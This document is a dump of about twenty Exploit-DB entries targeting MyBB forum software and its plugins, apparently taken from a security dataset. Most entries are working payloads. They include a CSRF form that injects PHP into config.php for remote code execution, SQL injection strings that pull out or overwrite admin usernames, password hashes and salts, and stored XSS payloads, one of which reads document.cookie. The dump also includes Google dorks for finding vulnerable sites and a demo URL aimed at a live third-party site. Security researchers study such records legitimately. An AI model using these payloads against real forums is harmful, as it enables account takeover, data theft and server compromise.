deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43136
Description: MyBB 1.8.13 - Remote Code Execution
Type: webapps
Platform: php
Date: 2017-11-11
Author: Pabstersac

Exploit:
# Exploit Title: RCE in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16780

This RCE can be executed via CSRF but doesn't require it (in some special cases). The requirements are there shouldn't be a lock in the /install/ directory and then if you have access to the install directory you don't need CSRF, but if you don't then you need CSRF. I have included a patch and a description. The exploit will write PHP code to /inc/config.php which is then 'REQUIRE'd in most of the pages in MyBB, the PoC will just write lollol to the top of every page in MyBB. I also have an XSS but that I will report later.

There is a CSRF vulnerability in MyBB /install/index.php which can be used to inject PHP code into /inc/config.php which is then used in most of the pages (require MYBB_ROOT."/inc/config.php" is in most of the pages). 
  
The vulnerability exists in the table creation process for sqlite databases, this is because the Database Path is then inserted into the /inc/config.php file in line 11 as $config['database']['database'] = 'DB Path';
 
The vulnerability occurs because MyBB doesn't properly escape the Database Path, allowing an attacker to easily inject PHP by inserting a DB Path of : lol'; echo 'lol     this will not cause any parse errors since there will be a : ';    added at the end. Of course the attacker can easily just execute code in the server, getting backdoor access to the server easily.
 
A PoC would be to host a site like this:
<form name="x" action="http://localhost/install/index.php" method="post">
    
<input type="hidden" name='dbengine' value="sqlite">
<input type="hidden" name='config[sqlite][dbname]' value="lol'; echo 'lol">
<input type="hidden" name='config[sqlite][tableprefix]' value="mybb_">
<input type="hidden" name='action' value="create_tables">
                                        
</form>
 
<script>document.x.submit();</script>
 
 
And when a victim logged in as admin to a MyBB website visits this site they will have a "lollol" at the top of every page (or you can also make it do much more malicious things).
 
A simple patch would be to change /install/index.php:1410 to:
if(strstr($config['dbname'], "./") !== false || strstr($config['dbname'], "../") !== false || strstr($config['dbname'], "'") !== false || empty($config['dbname']))
Exploit-DB #45393
Description: MyBB 1.8.17 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-09-12
Author: 0xB9

Exploit:
# Exploit Title: MyBB 1.8.17 - Cross-Site Scripting
# Date: 2018-08-11
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://mybb.com/download/
# Version: 1.8.17
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15596

# 1. Description:
# On the forum RSS Syndication page you can generate a URL for example... 
# http://localhost/syndication.php?fid=&type=atom1.0&limit=15, the thread titles on 
# those generated links aren't sanitized. 
 
# 2. Proof of Concept:

- Make or find a thread of yours on the RSS feed
- Use this payload as the thread title  <a href="//google.com">Cool Thread Title</a>
- View RSS feed with your thread again but with the generated URL and click on your thread
- When the thread is clicked you will be redirected to google.com
Exploit-DB #40396
Description: MyBB 1.8.6 - SQL Injection
Type: webapps
Platform: php
Date: 2016-09-19
Author: Curesec Research Team

Exploit:
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    MyBB 1.8.6
Fixed in:            1.8.7
Fixed Version Link:  http://resources.mybb.com/downloads/mybb_1807.zip
Vendor Website:      http://www.mybb.com/
Vulnerability Type:  SQL Injection
Remote Exploitable:  Yes
Reported to vendor:  01/29/2016
Disclosed to public: 09/15/2016
Release mode:        Coordinated Release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

MyBB is forum software written in PHP. In version 1.8.6, it is vulnerable to a
second order SQL injection by an authenticated admin user, allowing the
extraction of data from the database.

3. Details

Description

CVSS: Medium 6.0 AV:N/AC:M/Au:S/C:P/I:P/A:P

The setting threadsperpage is vulnerable to second order error based SQL
injection. An admin account is needed to change this setting.

The injection takes place into a LIMIT clause, and the query also uses ORDER
BY, making an injection of UNION ALL not possible, but it is still possibly to
extract information.

Proof of Concept

Go to the settings page:
    http://localhost/mybb_1806/Upload/admin/index.php?module=config-settings&action=change&gid=7

For Setting "threadsperpage" use:
    20 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

Visit a forum to trigger injected code:
    http://localhost/mybb_1806/Upload/forumdisplay.php?fid=3

The result will be:
    SQL Error:
        1105 - XPATH syntax error: ':5.5.33-1'
    Query:
        SELECT t.*, (t.totalratings/t.numratings) AS averagerating, t.username AS threadusername, u.username FROM mybb_threads t LEFT JOIN mybb_users u ON (u.uid = t.uid) WHERE t.fid='3' AND t.visible IN (-1,0,1) ORDER BY t.sticky DESC, t.lastpost desc LIMIT 0, 20 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

Code

forumdisplay.php
    $perpage = $mybb->settings['threadsperpage'];
    [...]
	$query = $db->query("
		SELECT t.*, {$ratingadd}t.username AS threadusername, u.username
		FROM ".TABLE_PREFIX."threads t
		LEFT JOIN ".TABLE_PREFIX."users u ON (u.uid = t.uid)
		WHERE t.fid='$fid' $tuseronly $tvisibleonly $datecutsql2 $prefixsql2
		ORDER BY t.sticky DESC, {$t}{$sortfield} $sortordernow $sortfield2
		LIMIT $start, $perpage
	");

4. Solution

To mitigate this issue please upgrade at least to version 1.8.7:

http://resources.mybb.com/downloads/mybb_1807.zip

Please note that a newer version might already be available.

5. Report Timeline

01/29/2016 Informed Vendor about Issue
02/26/2016 Vendor requests more time
03/11/2016 Vendor releases fix
09/15/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/MyBB-186-SQL-Injection-159.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Exploit-DB #41860
Description: MyBB < 1.8.11 - 'email' MyCode Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-04-11
Author: Zhiyang Zeng

Exploit:
Description:
============

product:MyBB
Homepage:https://mybb.com/
vulnerable  version:<1.8.11
Severity:High risk

===============

Proof of Concept:
=============

1.post a thread or reply any thread ,write:

[email=2"onmouseover="alert(document.location)]hover me[/email]

then when user’s mouse hover it,XSS attack will occur!

============

Fixed:
============

This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

=============
Exploit-DB #44624
Description: MyBB Admin Notes Plugin 1.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-05-16
Author: 0xB9

Exploit:
# Exploit Title: MyBB Admin Notes Plugin - CSRF
# Date: 2018-05-14
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1106
# Version: 1.1
# Tested on: Ubuntu 18.04

# 1. Description: The plugin allows administrators to save notes and display them in a list in the ACP. The CSRF allows an attacker to remotely delete all admin notes.

# 2. Proof of Concept:
<html>
	<body>
		<img style="display:none" src="http://localhost/mybb/admin/index.php?empty=table" alt="">
	</body>
</html>

# 3. Solution:
# Update to the latest release
# Patch: https://github.com/vintagedaddyo/MyBB_Plugin-adminnotes/commit/3deae701cdd89753cb6688302aee5b93a72bc58b?diff=split
Exploit-DB #17961
Description: MyBB Advanced Forum Signatures - 'afsignatures-2.0.4' SQL Injection
Type: webapps
Platform: php
Date: 2011-10-10
Author: Mario_Vs

Exploit:
---------------------------------------------------------------------
Exploit Title : MyBB Advanced Forum Signatures (afsignatures-2.0.4)
---------------------------------------------------------------------

Author      : Mario_Vs
Date        : 10/10/2011
Site        : http://mariovs.pl/
@  	    : mario_vs[at]o2.pl
---------------------------------------------------------------------

Description >

Vendor 	    : http://mods.mybb.com/download/advanced-forum-signatures
Tested On   : Windows 7
---------------------------------------------------------------------

SQL Injection

>> signature.php

POST -> afs_html=<a+href="http://localhost/mybb"><img+src="http://localhost/mybb/signature.php?uid=1"+alt=""+/></a>&afs_bbcode=[url=http://localhost/mybb][img]http://localhost/mybb/signature.php?uid=1[/img][/url]&afs_type=bar&afs_background=Default_Blue&afs_showonline=1&afs_full_line1=username&afs_full_line2=usergroup&afs_full_line3=postcount&afs_full_line4=registrationdate&afs_full_line5=reputation&afs_full_line6=blank&afs_bar_left=username&afs_bar_center=usergroup&afs_bar_right=postcount' , `password`= '65a1447de8e73ae67a938ae997ad4ed4', `salt`= 'NPOvUCXg'  WHERE `uid`='1';-- 
---------------------------------------------------------------------

---------------------------------------------------------------------

Greets To: linc0ln.dll, j4ck, lDoran, ElusiveN, d3dik, thc_flow, PricK, artii2

All users: HackinQ.pl
Exploit-DB #23354
Description: MyBB AJAX Chat - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-13
Author: Mr. P-teo

Exploit:
# Title: MyBB AJAX Chat Persistent XSS Vulnerability
# Date: 12/12/2012
# Exploit Author: Mr. P-teo
# Vendor Homepage: http://www.mybb.com/
# Software Link: http://mods.mybb.com/view/ajax-chat
# Version: 1
# Tested on: Windows

The Persistent XSS vulnerability lies within the chat_frame.php page.

*************************************** Persistent / Stored XSS **************************************


Although the message is filter with the htmlentities function below.
<?php

	$db->insert_query($tbl, array('uid' => $mybb->user['uid'], 'message' => $db->escape_string(htmlentities($message)), 'date' => time()));

?>

The vulnerability occurs with the use of the urldecode function, allowing us to bypass the htmlentities with url encoding.
<?php

	$msg = urldecode($row["message"]);

?>

The vulnerability can be exploited via the following line, decoded as - "><img src="XSS" onerror="alert(document.cookie)" />

%22%3E%3Cimg%20src%3D%22XSS%22%20onerror%3D%22alert(document.cookie)%22%20%2F%3E%0A

This can be expanded on with defaces etc, alert is just a basic example.

Brought to you be Mr. P-teo. 
Twitter: http://twitter.com/MrPteo
Exploit-DB #29797
Description: MyBB Ajaxfs 2 Plugin - SQL Injection
Type: webapps
Platform: php
Date: 2013-11-24
Author: IeDb ir

Exploit:
###########################

# Mybb Ajaxfs Plugin Sql Injection vulnerability

###########################

#################################
#
#     @@@    @@@@@@@@@@@    @@@@@           @@@@@@@@@@            @@@  @@@@@@@
#     @@@    @@@@@@@@@@@    @@@  @@         @@@     @@            @@@  @@@@@@@@ 
#     @@@    @@@            @@@    @@       @@@       @@          @@@  @@@  @@@ 
#     @@@    @@@            @@@      @@     @@@     @@            @@@  @@@  @@@ 
#     @@@    @@@@@@@@@@@    @@@       @     @@@@@@@@@@            @@@  @@@@@@
#     @@@    @@@@@@@@@@@    @@@     @@      @@@     @@            @@@  @@@@@@
#     @@@    @@@            @@@   @@        @@@       @@   @@@    @@@  @@@ @@@
#     @@@    @@@            @@@ @@          @@@     @@     @@@    @@@  @@@  @@@
#     @@@    @@@@@@@@@@@    @@@@@           @@@@@@@@@@     @@@    @@@  @@@   @@@
#
#####################################
 
# Exploit Title : Mybb Ajaxfs Plugin Sql Injection vulnerability
 
# Author : Iranian Exploit DataBase
 
# Discovered By : IeDb
 
# Email : [email protected]  -  [email protected]
 
# Home : http://iedb.ir   -   http://iedb.ir/acc
 
# Fb Page : https://www.facebook.com/pages/Exploit-And-Security-Team-iedbir/[PII_REDACTED]6538
 
# Software Link : http://mods.mybb.com/download/ajax-forum-stat-v-2
 
# Security Risk : High
 
# Tested on : Linux
 
# Dork : inurl:ajaxfs.php
 
#################################
 
1)
 
  if(isset($_GET['tooltip']))
    {
    $pid=$_GET['tooltip'];
    $query_post = $db->query ("SELECT * FROM ".TABLE_PREFIX."posts WHERE pid='$pid'");
 
 
2)
 
 if(isset($_GET['usertooltip']))
    {
    $uid=$_GET['usertooltip'];
    $query_user = $db->query ("SELECT * FROM ".TABLE_PREFIX."users WHERE uid='$uid'");
 
http://localhost/Upload/ajaxfs.php?usertooltip=1'
 
    1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
 
Google DORK : inurl:ajaxfs.php
 
 
# Exploit :
 
# http://site.com/mybb/ajaxfs.php?tooltip=[sql]
 
# http://site.com/mybb/ajaxfs.php?usertooltip=[sql]
 
 
#################################
 
# Tnx To : All Member In Iedb.ir/acc & Iranian Hackers
 
#################################
Exploit-DB #23625
Description: MyBB AwayList Plugin - 'index.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-12-24
Author: Red_Hat

Exploit:
# Exploit Title: AwayList MyBB plugin SQLi 0day
# Exploit Author: Red_Hat [Team Vect0r]
# Software Link: http://mods.mybb.com/view/awaylist
# Tested on: Windows & Linux.


Vulnerable code :

<?php
$query = $db->simple_select( // 245
        "awaylist", '*', "id = '" . $mybb->input['id'] . "'" // 246
    ); // 247
    $item = $db->fetch_array($query); // 248
?>

The variable '$mybb->input['id']' remains unsanitized.

Usage : http://server/index.php?action=editAwlItem&id=[SQLi]

Exploit-DB Not:
This is what worked for us: awaylist.php?action=editAwlItem&id=1'

Shoutout to Zixem <3 & Team Vect0r :3
Exploit-DB #23284
Description: MyBB Bank- 3 Plugin - SQL Injection
Type: webapps
Platform: php
Date: 2012-12-11
Author: Red_Hat

Exploit:
# Exploit Title: Bank v3 MyBB plugin SQLi 0day
# Exploit Author: Red_Hat [NullSec]
# Software Link: http://mods.mybb.com/download/bank-v3
# Tested on: Windows & Linux.

Vulnerable code :

<?php
     $user=$_POST['r_username'];
     $pay=intval($_POST['r_pay']);
     $query_r=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE username='$user'");
     $fetch=$db->fetch_array($query_r);
?>

The variable '$mybb->input['id']' remains unsanitized.

Usage : 
http://www.site.com/bank.php
/GET transactions=send
/POST r_pay=Red_Hat&r_username=[SQLi]

Shoutout to Zixem <3 & NullSec :3
Exploit-DB #46347
Description: MyBB Bans List 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-02-11
Author: 0xB9

Exploit:
# Exploit Title: MyBB Bans List - Cross Site Scripting
# Date: 7/25/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=423
# Version: 1.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14724


1. Description:
Adds bans.php page, showing a list of banned users and the reason of ban. 

Any forum user that's a mod can ban users and input a payload into the ban reason which gets executed on the bans.php page.
 

2. Proof of Concept:

- Have a mod account
- Ban a user
- Input the following for reason of the ban   <script>alert('XSS')</script>
- Anyone to view page will execute payload
Exploit-DB #44795
Description: MyBB ChangUonDyU Plugin 1.0.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-29
Author: 0xB9

Exploit:
# Exploit Title: MyBB ChangUonDyU Advanced Statistics Plugin v1.0.2 - Cross-Site Scripting
# Date: 5/25/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1125
# Version: 1.0.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-11532


1. Description:
This plugin displays advanced statistics on the index page such as latest posts with auto refresh using AJAX.
 

 
2. Proof of Concept:
Create a new thread with the following payload as the title  <svg onload=alert('XSS')>

The alert will appear on the index page



3. Solution:
Update to the latest release
Exploit-DB #49500
Description: MyBB Delete Account Plugin 1.4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-02-01
Author: 0xB9

Exploit:
# Exploit Title: MyBB Delete Account Plugin 1.4 - Cross-Site Scripting
# Date: 1/25/2021
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://github.com/vintagedaddyo/MyBB_Plugin-Delete_Account/
# Version: 1.4
# Tested on: Windows 10

1. Description:
This plugin allows users to delete their account. Giving a reason for deleting your account is vulnerable to XSS.

2. Proof of Concept:

- Go to User CP -> Delete Account
- Input a payload for delete account reason   <script>alert('XSS')</script>
Payload will execute here.. admin/index.php?module=user-deleteaccount
Exploit-DB #23359
Description: MyBB DyMy User Agent Plugin - 'newreply.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-12-13
Author: JoinSe7en

Exploit:
############################################################################
# Exploit title : MyBB DyMy User Agent Plugin SQL injection vulnerability. #
# Author: JoinSe7en                                                        #
# Date : 13 Dec 2012                                                       #
# Tested on : Linux                                                        #
# Category : Web Applications                                              #
# Software Link : http://mods.mybb.com/view/dymy-user-agent                #
############################################################################


[*] PoC (receive admin username)

We fire up HTTP Live Headers or a similar tool, post something and press 'replay'.
We then replace our user agent with the following Query:

POST http://localhost/mybb/newreply.php?ajax=1

HTTP Headers:
Host: localhost
User-Agent: ' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)); #

Output:

SQL Error:
1062 - Duplicate entry 'admin1' for key 'group_key'

+------------------------------------------------------------------+

[*] PoC (receive admin password)

We then replace our user agent with the following Query:

POST http://localhost/mybb/newreply.php?ajax=1

HTTP Headers:
Host: localhost
User-Agent: ' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)); #

Output:
SQL Error:
1062 - Duplicate entry '098f6bcd4621d373cade4e832627b4f6' for key 'group_key'

+------------------------------------------------------------------+


Enjoy.
Exploit-DB #31525
Description: MyBB Extended Useradmininfo Plugin 1.2.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-02-09
Author: Fikri Fadzil

Exploit:
# Exploit Title: Extended Useradmininfo MyBB Plugin 1.2.1 - Cross Site
Scripting
# Google Dork: N/A
# Date: 09.02.2014
# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
# Vendor Homepage: http://forum.mybboard.de/user-9022.html
# Software Link: http://mods.mybb.com/view/extended-useradmininfo
# Version: 1.2.1
# Tested on: PHP

Description:
This plugin shows advanced Informations about a user, such as last IP, User
Agent, Browser and Operating System. The information will be shown in a
user profile and visible only  for people who are able to see the
adminoptions on user profiles.

Proof of Concept
1. Create a user account.
2. Change your user-agent to "Mozilla<script>alert(1)</script>".
3. Login and then... logout.

* The script will be executed whenever the administrator view your profile.


Solution:
Replace the content of "inc/plugins/extendeduseradmininfos.php" with this
fix:
http://pastebin.com/ncQCvwdq
Exploit-DB #22405
Description: MyBB Follower User Plugin - SQL Injection
Type: webapps
Platform: php
Date: 2012-11-01
Author: Zixem

Exploit:
# Exploit Title: Follower User MyBB plugin SQL Injection 0day
# Google Dork: intext:"Users subscribed to" inurl:member.php -site:fwcombie.us
# Date: 13.10.2012
# Exploit Author: Zixem
# Software Link: http://mods.mybb.com/view/suscriber-user
# Version: 1.5+
# Tested on: Linux.
----------------------------------------------

The vulnerabillity exist within SuscribeUsers.php on SuscribeUsers_add():

<?
	$usid = $mybb->input[usid];	//Line 671
	$uid = $mybb->input[uid];	//Line 672
	if(user_awaiting($uid,$usid))	//Line 781
	{				//Line 782
		redirect("member.php?action=profile&uid=".$usid."#suscriberuser", $lang->double_suscription_awaiting,$lang->suscriberuser); // Line 783
	}				//Line 784
?>


----------------------------------------------

Instructions: 
1. Create a new account on the target site.
2. Check your User ID by entering your profile link and write it down.
3. Enter here and start to inject your code:

/misc.php?suscriberuser=yes&usid='[SQLi]--+-&uid=[Your_User_ID]

----------------------------------------------

Demo: 
http://www.chidomobil-gc.com/misc.php?suscriberuser=yes&usid=' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0)--+-2&uid=[your_uid]
Image : http://i.imgur.com/eGhzJ.png


Follow: https://twitter.com/PonyBlaze


Shotouts goes to FillySec.
Exploit-DB #17962
Description: MyBB Forum Userbar Plugin (Userbar 2.2) - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-10
Author: Mario_Vs

Exploit:
---------------------------------------------------------------------
Exploit Title : MyBB Forum Userbar Plugin (Userbar v2.2)
---------------------------------------------------------------------

Author      : Mario_Vs
Date        : 10/10/2011
Site        : http://mariovs.pl/
@  	    : mario_vs[at]o2.pl
---------------------------------------------------------------------

Description >

Vendor 	    : http://mods.mybb.com/download/userbar-plugin
Tested On   : Windows 7
---------------------------------------------------------------------

SQL Injection

>> userbarsettings.php

POST -> setting1=1&setting2=1&setting3=3&image2=1',[CREDENTIAL_REDACTED]',salt='aXZV15uC&uid=1&submit=Submit
---------------------------------------------------------------------

---------------------------------------------------------------------

Greets To: linc0ln.dll, j4ck, lDoran, ElusiveN, d3dik, thc_flow, PricK, artii2

All users: HackinQ.pl
Exploit-DB #38508
Description: MyBB Game Section Plugin - 'games.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-05-07
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/59690/info

The Game Section plugin for MyBB is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Game Section 1.2.2 are vulnerable. 

http://www.example.com/games.php?des=%27%22%3E%3E%3Cscript%3Ealert%28%27+by+Darksnipper%27%29%3C%2Fscript%3E